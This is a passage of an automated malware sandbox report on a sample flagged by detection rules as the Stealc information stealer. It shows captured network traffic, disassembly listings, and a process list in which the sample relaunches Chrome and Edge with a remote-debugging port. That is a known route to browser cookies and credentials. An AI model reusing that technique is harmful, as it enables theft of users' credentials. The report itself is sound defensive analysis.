2024-10-29 01:46:43 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:43 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4e087ea8-e01e-0099-0e5a-28da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014643Z-15b8d89586fzhrwgk23ex2bvhw00000008qg00000000c296 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:43 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df5d8003-e01e-0099-48f7-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014643Z-r197bdfb6b4zd9tpkpdngrtchw000000057g000000002wbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:43 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: af778f23-101e-007a-027e-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014643Z-17c5cb586f6r59nt869u8w8xt800000004xg0000000021n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:43 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49930	20.189.173.2	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730166401767&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11305 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1; _C_ETH=1; msnup=
2024-10-29 01:46:43 UTC	11305	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 31 3a 34 36 3a 34 31 2e 37 36 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 32 35 62 34 33 64 35 2d 37 39 63 32 2d 34 38 31 66 2d 39 62 32 64 2d 36 37 30 62 64 66 63 65 63 63 36 64 22 2c 22 65 70 6f 63 68 22 3a 22 37 38 39 34 34 39 39 39 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-29T01:46:41.766Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"c25b43d5-79c2-481f-9b2d-670bdfcecc6d","epoch":"789449990"},"app":{"locale"
2024-10-29 01:46:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ecf94420803744a2bf9b6753b1696378&HASH=ecf9&LV=202410&V=4&LU=1730166403678; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 01:46:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e4598fafb16a40dcba3fa93f10f2d461; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 02:16:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1911 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 01:46:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49929	20.189.173.2	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730166401771&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4798 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1; _C_ETH=1; msnup=
2024-10-29 01:46:43 UTC	4798	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 31 3a 34 36 3a 34 31 2e 37 37 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 32 35 62 34 33 64 35 2d 37 39 63 32 2d 34 38 31 66 2d 39 62 32 64 2d 36 37 30 62 64 66 63 65 63 63 36 64 22 2c 22 65 70 6f 63 68 22 3a 22 37 38 39 34 34 39 39 39 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-29T01:46:41.770Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"c25b43d5-79c2-481f-9b2d-670bdfcecc6d","epoch":"789449990"},"app":{"locale"
2024-10-29 01:46:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4d2eab0c42314495a7ce34753716821a&HASH=4d2e&LV=202410&V=4&LU=1730166403712; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 01:46:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=56189971d393460eb7da163d4b0fd752; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 02:16:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1941 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 01:46:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49934	18.160.172.81	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	1012	OUT	GET /b2?rn=1730166401151&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068FFCF09D60634F3420E9D79CEE6292&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1B7d7e7223fc3752c0cff731730166403; XID=1B7d7e7223fc3752c0cff731730166403
2024-10-29 01:46:44 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 29 Oct 2024 01:46:43 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 2e65410c49c56bc021eaf5ea7631180e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAH50-P2 X-Amz-Cf-Id: QGmbB8q4kAKRbWovCVMOJfyOZPVQpxIn59MUWNjs5zd6RrkNpmy6BQ==

Target ID:	0
Start time:	21:46:01
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4a0000
File size:	2'159'616 bytes
MD5 hash:	23F9AAABDEC387215997CD70821D5859
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2517910143.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2061910174.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:46:13
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:46:13
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2412,i,13784969415282390054,5886882704676718212,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:46:25
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:46:25
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2480 --field-trial-handle=2340,i,2700430102709419326,11694449146032841153,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:46:25
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:46:26
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	21:46:30
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6564 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:46:30
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:47:26
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6832 --field-trial-handle=2024,i,10501024734161558881,5585055544149654659,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
__aulldiv.LIBCMT ref: 6C5A36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A3773
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A377E
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A37C4
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A37CB
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A3801
__aulldiv.LIBCMT ref: 6C5A3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5A3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5A3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5A394C

Strings

AuthcAMDenti, xrefs: 6C5A3946
GenuntelineI, xrefs: 6C5A3639
GTC, xrefs: 6C5A3912
MOZ_TIMESTAMP_MODE, xrefs: 6C5A35DB
QPC, xrefs: 6C5A38FC

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction ID: 58258d794846fcac44fbf7d8a36d5c5d9ce4a27c2b84679bf9037ea9a8444b09
Opcode Fuzzy Hash: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction Fuzzy Hash: C2B1D671B093109FDB08DF6AC884A1ABBF5FB8A704F04893DE499D7750D738D9058B8A

Function 6C5BC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5BC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5BC969
GetSystemInfo.KERNEL32(?), ref: 6C5BC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5BC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5BC9E2

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction ID: ee57ad9629ccca4bbce986a2f7b66707ca0dbbf25c9cb405b823373fd64a2c64
Opcode Fuzzy Hash: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction Fuzzy Hash: 1721D731741218ABEB14AA29CCD4BAE77B9EB86744F50051EF943B7A40EB707C04879D

Function 6C5A3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5A3095

